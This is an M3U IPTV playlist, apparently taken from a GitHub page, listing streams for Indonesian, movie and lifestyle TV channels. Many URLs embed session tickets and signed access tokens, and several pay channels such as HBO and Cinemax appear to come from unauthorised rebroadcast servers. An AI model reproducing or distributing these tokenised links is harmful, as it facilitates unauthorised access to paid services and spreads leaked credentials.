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GitHub Repo https://github.com/ZoltCyber/file.js

ZoltCyber/file.js

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GitHub Repo https://github.com/Agoengwew/wew

Agoengwew/wew

#EXTM3U ########################################### INDONESIA CHANNEL ################################################## #EXTINF:-1 tvg-logo="https://i.imgur.com/L2LS8iY.png" group-title="INDONESIA", MNC TV http://id6.indostreamingtv.com/live/mnctv/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/L2LS8iY.png" group-title="INDONESIA", MNC TV (1) https://live.rctiplus.id/rctiplus/mnctv_720p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/RAAXLWk.png" group-title="INDONESIA", INDOSIAR https://anevia115.mncnow.id:443/live/eds/Indosiar/sa_hls/Indosiar-avc1_1000000=9-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/RAAXLWk.png" group-title="INDONESIA", INDOSIAR (1) http://203.153.218.28:9981/stream/channelid/261435212?ticket=A192592FCB24306982D91467C77D3822DE0861B2&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/JK2UPbl.png" group-title="INDONESIA", RCTI https://live.rctiplus.id/rctiplus/rcti_720p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/JK2UPbl.png" group-title="INDONESIA", RCTI (1) http://id6.indostreamingtv.com:80/live/rcti/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/XJRm3N1.png" group-title="INDONESIA", SCTV https://anevia114.mncnow.id:443/live/eds/SCTV/sa_hls/SCTV-avc1_1000000=10-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/k4XLh36.png" group-title="INDONESIA", ANTV http://203.153.218.26:9981/stream/channelid/1654354630?ticket=6640B7776404F498CBF118E4AF04C93D72BE584D&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/k4XLh36.png" group-title="INDONESIA", ANTV (1) https://anevia114.mncnow.id:443/live/eds/ANTV/sa_hls/ANTV-avc1_1000000=6-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/6iokkOz.png" group-title="INDONESIA", TRANS 7 http://203.153.218.26:9981/stream/channelid/302821177?ticket=67841DB7C784200CDA6E121CE4010B696B04CFBE&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/6iokkOz.png" group-title="INDONESIA", TRANS 7 (1) https://anevia114.mncnow.id:443/live/eds/Trans7/sa_hls/Trans7-avc1_1000000=7-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/GVFqTkA.png" group-title="INDONESIA", TRANS TV https://anevia114.mncnow.id:443/live/eds/TransTV/sa_hls/TransTV-avc1_1000000=7-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/GVFqTkA.png" group-title="INDONESIA", TRANS TV (1) http://203.153.218.26:9981/stream/channelid/611995608?ticket=53AC2D2761CB9F20600BD2F05DABFBE71E93D0BE&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/7mzjLGe.png" group-title="INDONESIA", GLOBAL TV http://id6.indostreamingtv.com/live/tv1/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/7mzjLGe.png" group-title="INDONESIA", GLOBAL TV (1) https://live.rctiplus.id/rctiplus/gtv_720p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/l2cgeYi.png" group-title="INDONESIA", NET. https://anevia115.mncnow.id/live/eds/NetTV/sa_hls/NetTV-avc1_1000000=9-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/l2cgeYi.png" group-title="INDONESIA", NET. (1) http://rr2.dens.tv/s/s08/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/gxDKBJF.png" group-title="INDONESIA", METRO TV HD http://203.153.218.26:9981/stream/channelid/1360909675?ticket=28AFC6692094FABCE06A7952176323C5154F56F4&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/gxDKBJF.png" group-title="INDONESIA", METRO TV https://anevia115.mncnow.id:443/live/eds/MetroTV/sa_hls/MetroTV-avc1_1000000=7-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/gxDKBJF.png" group-title="INDONESIA", METRO TV (1) http://edge.metrotvnews.com:1935/live-edge/smil:metro.smil/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/uMbKFzB.png" group-title="INDONESIA", TVONE https://anevia114.mncnow.id:443/live/eds/TVOne/sa_hls/TVOne-avc1_1000000=7-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/uMbKFzB.png" group-title="INDONESIA", TVONE (1) http://id1.indostreamingtv.com/live/tv444/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/qxIlRs7.png" group-title="INDONESIA", KOMPAS TV https://anevia115.mncnow.id:443/live/eds/KompasTV/sa_hls/KompasTV-avc1_1000000=7-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/XBm7Gc3.png" group-title="INDONESIA", CNN INDONESIA http://203.153.218.26:9981/stream/channelid/180919192?ticket=F26DABFDD4DCC91FCF2CE02805A8B91339F9FD92&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/XBm7Gc3.png" group-title="INDONESIA", CNN INDONESIA (1) https://live.cnnindonesia.com/livecnn/smil:cnntv.smil/chunklist_w691324912_b384000_sleng.m3u8 #EXTINF:-1 tvg-logo="https://imgur.com/UUy8bTn" group-title="INDONESIA", CNBC INDONESIA https://live.cnbcindonesia.com/livecnbc/smil:cnbctv.smil/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Ear3Tqc.png" group-title="INDONESIA", INEWS TV https://live.rctiplus.id/rctiplus/inews_720p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/rCaMpOi.png" group-title="INDONESIA", TVRI NASIONAL https://anevia115.mncnow.id:443/live/eds/PemersatuBangsa/sa_hls/PemersatuBangsa-avc1_1000000=6-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://raw.githubusercontent.com/adisyukri/test/master/1576870774-picsay.jpg" group-title="INDONESIA",VISION PRIME https://anevia114.mncnow.id:443/live/eds/VisionPrime/sa_hls/VisionPrime-avc1_1000000=7-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/YzK2l8m.png" group-title="INDONESIA", RAJAWALI TV http://rr2.dens.tv/s/s12/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/YzK2l8m.png" group-title="INDONESIA", RAJAWALI TV (1) http://45.126.83.51:80/qwr9ew/s/s12/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/sz4Fz2u.png" group-title="INDONESIA", BERITA SATU NEWS https://anevia115.mncnow.id:443/live/eds/BeritaSatu/sa_hls/BeritaSatu-avc1_1000000=7-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/sz4Fz2u.png" group-title="INDONESIA", BERITA SATU NEWS (1) http://edge.linknetott.swiftserve.com/live/BsNew/amlst:bsnew/chunklist_b1128000.m3u8 #EXTINF:-1 tvg-logo="" group-title="INDONESIA", BERITA SATU WORLD HD http://203.153.218.26:9981/stream/channelid/885612247?ticket=A19C514A9C15977896E27C283AA6BC858B39C383&profile=pass #EXTINF:-1 tvg-logo="" group-title="INDONESIA", BERITA SATU WORLD HD (2) http://edge.linknetott.swiftserve.com/live/BsNew/amlst:bsworld/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/jLTCWHP.png" group-title="INDONESIA", JAKARTA GLOBE NEWS http://edge.linknetott.swiftserve.com/live/BsNew/amlst:bsenglish/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/h4u6TMV.jpg" group-title="INDONESIA", INDONESIAN CHANNEL http://202.93.133.3:1935/svr2/tic.com.stream_720p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://raw.githubusercontent.com/adisyukri/test/master/1576870774-picsay.jpg" group-title="INDONESIA", JAWAPOS TV https://livetvhooq.akamaized.net:443/448282ebe21e4ddaa20ffac3f5725086/ap-southeast-1/5493668622001/profile_2/chunklist.m3u8?hdnts=st=1573600053~exp=9007200828341044~acl=/448282ebe21e4ddaa20ffac3f5725086/*/profile_2/chunklist.m3u8*~hmac=34668c3a5d65ee732b03c74c8c5fe7f2bd27db8a18a14541660649e8fae2dfc4 #EXTINF:-1 tvg-logo="https://raw.githubusercontent.com/adisyukri/test/master/1576870774-picsay.jpg" group-title="INDONESIA", JTV SURABAYA https://livetvhooq.akamaized.net/ae74dfdacfc1474ebacda1990c3dc338/ap-southeast-1/5493668622001/profile_0/chunklist.m3u8?hdnts=st=1578737355~exp=9007200833478346~acl=/ae74dfdacfc1474ebacda1990c3dc338/*/profile_0/chunklist.m3u8*~hmac=38fffe01dee4cdd681554c4a989a37ce79cb84f3d782a9ba5dd8997ddf403d67&hdnts=st=1578737356~exp=1578737476~acl=/*~id=69e868e0-65de-48a7-a997-65e76560ba94~data=36.75.70.213~hmac=8a97806bfb9c8ccb8bb2e6af1a63ffde0cedf4d14618ca0d3e7c8cd80fd10c6f #EXTINF:-1 tvg-logo="https://i.imgur.com/6LGy9aA.png" group-title="INDONESIA", RODJA TV http://vids.rodja.tv:1935/live/rodja/playlist.m3u8 #EXTINF:-1 tvg-logo="" group-title="INDONESIA",MUSLIM TV https://anevia114.mncnow.id:443/live/eds/MNCMuslim/sa_hls/MNCMuslim-avc1_1000000=7-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/A6oxELS.png" group-title="INDONESIA", ASHIIL TV http://119.82.232.89:1935/ashiiltv/live2/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/U0eKIMM.png" group-title="INDONESIA", MADANI TV http://stream.asianastream.com:1935/live/ngrp:madanitv_all/playlist.m3u8 #EXTINF:-1 tvg-logo="" group-title="INDONESIA", TAHFIDZ TV http://119.235.249.58:1935/tahfidztv/live/chunk.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/VRlAcoA.png" group-title="INDONESIA", AHSAN TV http://119.82.224.75:1935/live/ahsantv/chunk.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/hbnyodH.png" group-title="INDONESIA", TV9 NUSANTARA http://wowza60.indostreamserver.com:1935/tv9/live/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/AOBzMH3.png" group-title="INDONESIA", ADI TV http://aditv.onlivestreaming.net/aditv/livestream/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/IgetlBX.png" group-title="INDONESIA", MNC SHOP http://202.80.222.130/000001/2/ch16061710145075159643/index.m3u8?virtualDomain=000001.live_hls.zte.com #EXTINF:-1 tvg-logo="https://i.imgur.com/kt7Sn1H.png" group-title="INDONESIA", FOODIE http://edge.linknetott.swiftserve.com/live/BSgroup/amlst:foodiee/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/9wKyMDT.png" group-title="INDONESIA", ELSHINTA TV http://rr2.dens.tv/s/s10/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/0jVGDf3.png" group-title="INDONESIA", BALI TV http://210.210.155.35/x6bnqe/s/s82/S4/mnf.m3u8 #EXTINF:-1 tvg-logo="" group-title="INDONESIA", CAHAYA TV http://103.23.201.170:1935/live/livestream/chunk.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/oCPldm1.png" group-title="INDONESIA", TVKU http://103.30.1.14:8080/hls/live.m3u8 #EXTINF:-1 tvg-logo="" group-title="INDONESIA",USEE PHOTO https://livetvhooq.akamaized.net/c37364587aeb4050bd51a0b8068e976f/eu-central-1/5493668622001/profile_1/chunklist.m3u8?hdnts=st=1572048772~exp=9007200826789763~acl=/c37364587aeb4050bd51a0b8068e976f/*/profile_1/chunklist.m3u8*~hmac=db830a2d176a5620aa93f8a722a43796aba20e38f757a257a6874826bc3f7308 #EXTINF:-1 tvg-logo="" group-title="INDONESIA",USEE PRIME https://livetvhooq.akamaized.net/8eb1108c494240ef94c5c8ae7e572c29/eu-central-1/5493668622001/profile_1/chunklist.m3u8?hdnts=st=1572048811~exp=9007200826789802~acl=/8eb1108c494240ef94c5c8ae7e572c29/*/profile_1/chunklist.m3u8*~hmac=c7b056ffebcb94ad6c429bd0685d5d6fed40b7bad0dcfca6e48df944d45a43d4 #EXTINF:-1 tvg-logo="" group-title="INDONESIA",ID KU https://livetvhooq.akamaized.net/8d310f35fdf349daab8e0610161060f1/eu-central-1/5493668622001/profile_1/chunklist.m3u8?hdnts=st=1572048854~exp=9007200826789845~acl=/8d310f35fdf349daab8e0610161060f1/*/profile_1/chunklist.m3u8*~hmac=eb90616605948f62a0c512ed38cdd06b0f5cf7bce0fee578df3441455b550da6 #EXTINF:-1 tvg-logo="" group-title="INDONESIA",RUANG TERAMPIL https://livetvhooq.akamaized.net/b1b6d552c80f4ef78bd4c10bfb32268d/eu-central-1/5493668622001/profile_1/chunklist.m3u8?hdnts=st=1572048870~exp=9007200826789861~acl=/b1b6d552c80f4ef78bd4c10bfb32268d/*/profile_1/chunklist.m3u8*~hmac=d953442254a991bd90234bddbdec85c2ebd07648d38983e23e541e31e7993cc9 ################################################ NINMEDIA ################################################ #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",KITANESIA http://stream1.ninmedia.tv/kitanesia/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",MALEO http://stream1.ninmedia.tv/maleo/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",INSPIRA TV http://stream1.ninmedia.tv/inspiratv/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",BMW TV http://stream1.ninmedia.tv/bmwtv/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",TABALONG TV http://stream1.ninmedia.tv/tabalongtv/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",AREK TV SURABAYA http://stream2.ninmedia.tv/arektv/arek_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",RUMAH TV http://stream2.ninmedia.tv/rumahtv/rtmp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",TV DESA http://stream1.ninmedia.tv/tvdesa/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",RCTV http://stream1.ninmedia.tv/rctv/rtmp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",JAMBI TV http://stream1.ninmedia.tv/jambitv/rtmp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",RADAR TV LAMPUNG http://stream1.ninmedia.tv/radartvlampung/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",PAL TV http://stream1.ninmedia.tv/paltv/rtmp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",OSHOP http://stream1.ninmedia.tv/oshop/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",NABAWI TV http://stream2.ninmedia.tv/nabawitv/nabawitv_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",BE TV http://stream1.ninmedia.tv/betv/rtmp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",RB TV http://stream1.ninmedia.tv/rbtv/rtmp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",DMI TV http://stream1.ninmedia.tv/dmitv/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",SALINGSAPA http://stream1.ninmedia.tv/salingsapa/rtmp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",NU CHANNEL http://stream1.ninmedia.tv/nuchannel/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",RRI NET http://stream1.ninmedia.tv/rrinet/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",GPR TV http://stream1.ninmedia.tv/gprtv/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",MI TV http://stream2.ninmedia.tv/mitv/rtmp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",TRIBRATA TV http://stream1.ninmedia.tv/tribratatv/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",POP MUSIK http://stream1.ninmedia.tv/popmusik/udp.stream_360p/playlist.m3u8 ################################################ MOVIES CHANNEL ################################################ #EXTINF:-1 tvg-logo="https://i.imgur.com/wdUGjly.png" group-title="MOVIES - SERIES", JGO http://edge.linknetott.swiftserve.com/live/BSgroup/amlst:jgoch/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/wdUGjly.png" group-title="MOVIES - SERIES", JGO (1) http://edge.linknetott.swiftserve.com/live/BSgroup/amlst:jgoch/chunklist_b2288000.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/1onb5CQ.png" group-title="MOVIES - SERIES", HBO http://95.170.215.118/hls/m3u8/HBO.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/1onb5CQ.png" group-title="MOVIES - SERIES", HBO 2 http://95.170.215.118/hls/m3u8/HBO-2.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/1onb5CQ.png" group-title="MOVIES - SERIES", HBO 3 http://95.170.215.118/hls/m3u8/HBO-3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/TdU3cK4.png" group-title="MOVIES - SERIES", HBO HITS http://203.153.218.28:9981/stream/channelid/2038175895?ticket=0299B4C37DF5A2B463E83E4FFD9AD1E91BA48253&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/mvRyGWf.png" group-title="MOVIES - SERIES", HBO SIGNATURE http://203.153.218.28:9981/stream/channelid/1197019186?ticket=96AB9AD0536B1000E515E3219100C78A9625CAE3&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/xwRlC3C.png" group-title="MOVIES - SERIES", HBO FAMILY http://203.153.218.28:9981/stream/channelid/1316004766?ticket=8603609D96360D7B639AB97584FF09E1086B3284&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/f6F0DYo.png" group-title="MOVIES - SERIES", CINEMAX http://203.153.218.28:9981/stream/channelid/255605374?ticket=434549F6D027878D70C7F1F479D0C3495B16099D&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/f6F0DYo.png" group-title="MOVIES - SERIES", CINEMAX (1) https://liveanevia.mncnow.id/live/eds/CinemaxHD/sa_hls/CinemaxHD-avc1_2499968=7-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/FAqwf1j.png" group-title="MOVIES - SERIES", FOX HD ID https://liveanevia.mncnow.id/live/eds/FoxChannel/sa_hls/FoxChannel-avc1_2499968=11-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Zf1YW1l.png" group-title="MOVIES - SERIES", FOX MOVIES http://203.153.218.28:9981/stream/channelid/756717990?ticket=D9CDD7DB18E80023C22954FE693F71DB745D5CE7&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/oJirPnY.png" group-title="MOVIES - SERIES", FOX FAMILY MOVIES http://203.153.218.28:9981/stream/channelid/1949182550?ticket=39C98E4111054C7CF2A242280A406A438219FEA8&profile=pass #EXTINF:-1 tvg-logo="" group-title="MOVIES - SERIES",FX https://liveanevia.mncnow.id/live/eds/FX/sa_hls/FX-avc1_2499968=10-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/E7sygNm.png" group-title="MOVIES - SERIES", AXN http://rr.dens.tv/h/h141/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/E7sygNm.png" group-title="MOVIES - SERIES", AXN (1) http://hvod.imirun.net:8080/AXN-HD/index.m3u8 #EXTINF:-1 tvg-logo="" group-title="MOVIES - SERIES",WARNER TV https://liveanevia.mncnow.id/live/eds/WarnerTV/sa_hls/WarnerTV-avc1_1000000=16-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="" group-title="MOVIES - SERIES",USA http://cdnak19.cast4u.info/channels/4/10804.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="" group-title="MOVIES - SERIES",CRIME INVESTIGATION https://liveanevia.mncnow.id/live/eds/CrimeInvestigation/sa_hls/CrimeInvestigation-avc1_1000000=10-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="" group-title="MOVIES - SERIES",FOX CRIME https://liveanevia.mncnow.id/live/eds/FoxCrime/sa_hls/FoxCrime-avc1_2499968=10-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/EXhCprS.png" group-title="MOVIES - SERIES", CELESTIAL MOVIES ID http://45.126.83.51:80/qwr9ew/s/s33/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/EXhCprS.png" group-title="MOVIES - SERIES", CELESTIAL MOVIES ID (1) http://rr2.dens.tv/s/s33/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/EXhCprS.png" group-title="MOVIES - SERIES", CELESTIAL MOVIES ID (2) https://anevia115.mncnow.id:443/live/eds/CelestialMovie/sa_hls/CelestialMovie-avc1_1000000=7-mp4a_66000_eng=2.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ASQjlFW.png" group-title="MOVIES - SERIES", TVN https://liveanevia.mncnow.id/live/eds/tvN/sa_hls/tvN-avc1_2499968=7-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ASQjlFW.png" group-title="MOVIES - SERIES", TVN MOVIES https://liveanevia.mncnow.id/live/eds/tvNMovies/sa_hls/tvNMovies-avc1_2499968=10-mp4a_66000_eng=2.m3u8 #EXTINF:-1 tvg-logo="" group-title="MOVIES - SERIES", Waku Waku Japan https://liveanevia.mncnow.id/live/eds/WakuWakuJapan/sa_hls/WakuWakuJapan-avc1_2499968=11-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Vsa0rWm.png" group-title="MOVIES - SERIES", KIX ID https://liveanevia.mncnow.id/live/eds/KIX/sa_hls/KIX-avc1_1000000=7-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/K4VRZKU.png" group-title="MOVIES - SERIES", HITS https://liveanevia.mncnow.id/live/eds/HITS/sa_hls/HITS-avc1_2499968=11-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/K4VRZKU.png" group-title="MOVIES - SERIES", HITS (1) https://liveanevia.mncnow.id/live/eds/HitsMovies/sa_hls/HitsMovies-avc1_2499968=12-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ClSwlqI.png" group-title="MOVIES - SERIES", CINEMA WORLD ID https://liveanevia.mncnow.id/live/eds/CinemaWorld/sa_hls/CinemaWorld-avc1_2499968=13-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/MlOHhWl.png" group-title="MOVIES - SERIES", THRIL https://liveanevia.mncnow.id/live/eds/Thrill/sa_hls/Thrill-avc1_1000000=7-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/jFbo1l8.png" group-title="MOVIES - SERIES", ZEE BIOSKOP https://anevia115.mncnow.id:443/live/eds/MovieChannel/sa_hls/MovieChannel-avc1_1000000=7-mp4a_66900_eng=2.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/jFbo1l8.png" group-title="MOVIES - SERIES", ZEE BIOSKOP (1) https://livetvhooq.akamaized.net/ed9f674616594d96bbe00f93ab8d7672/eu-central-1/5493668622001/profile_3/chunklist.m3u8?hdnts=st=1576169705~exp=9007200830910696~acl=/ed9f674616594d96bbe00f93ab8d7672/*/profile_3/chunklist.m3u8*~hmac=c464efdac528cb4b0e4c27ada7a0480ce7bce6030e39ab45e36833b4bc9b9fbd #EXTINF:-1 tvg-logo="https://i.imgur.com/rGvQhQZ.png" group-title="MOVIES - SERIES", RAI MOVIE HD ITA http://b2everyrai-lh.akamaihd.net/i/raimovie_1@67348/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/UMYCo8x.png" group-title="MOVIES - SERIES", WAU HD RUS http://nn2.joj.sk/hls/wau-540.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/G83S7dd.png" group-title="MOVIES - SERIES", WOWOW HD JPN http://192.240.127.34:1935/live/cs27.stream/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/pUmiY0Z.png" group-title="MOVIES - SERIES", MOVIES 1 http://aldirect.hls.huya.com/huyalive/29169025-2686219962-11537226886652362752-2710080226-10057-A-0-1_1200.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/pUmiY0Z.png" group-title="MOVIES - SERIES", MOVIES 2 http://aldirect.hls.huya.com/huyalive/29169025-2686220018-11537227127170531328-2847699120-10057-A-1524041208-1_1200.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/pUmiY0Z.png" group-title="MOVIES - SERIES", MOVIES 3 http://aldirect.hls.huya.com/huyalive/29169025-2686219962-11537226886652362752-2710080226-10057-A-0-1_1200.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/pUmiY0Z.png" group-title="MOVIES - SERIES", MOVIES 4 http://aldirect.hls.huya.com/huyalive/30765679-2504742278-10757786168918540288-3049003128-10057-A-0-1_1200.m3u8 ############################################## LIFESTYLE ############################################## #EXTINF:-1 tvg-logo="https://imgur.com/CFlF21c" group-title="LIFESTYLE",TV5 MONDE STYLE http://210.210.155.35:80/uq2663/h/h01/index.m3u8 #EXTINF:-1 group-title="LIFESTYLE",FASHION TV http://fash1043.cloudycdn.services/slive/_definst_/ftv_midnite_secrets_adaptive.smil/chunklist_b4700000_t64MTA4MHA=.m3u8 #EXTINF:-1 group-title="LIFESTYLE",HD FASHION http://fash1043.cloudycdn.services/slive/_definst_/ftv_paris_adaptive.smil/chunklist.m3u8?xtreamiptv.m3u8 #EXTINF:-1 tvg-logo="https://c1.staticflickr.com/9/8142/7238493116_82bbf6de31_b.jpg" group-title="LIFESTYLE",Home & Living http://edge.linknetott.swiftserve.com/live/BSgroup/amlst:homelivinghd/playlist.m3u8 #EXTINF:-1 tvg-logo="https://c1.staticflickr.com/9/8142/7238493116_82bbf6de31_b.jpg" group-title="LIFESTYLE",Home & Living (1) http://edge.linknetott.swiftserve.com/live/BSgroup/amlst:homelivinghd/chunklist_b2288000.m3u8 #EXTINF:-1 tvg-logo="https://www.useetv.com/assets/images/channel/logo_ruangtrampil_small.png?v=2.0.1.16" group-title="LIFESTYLE",Ruang Terampil 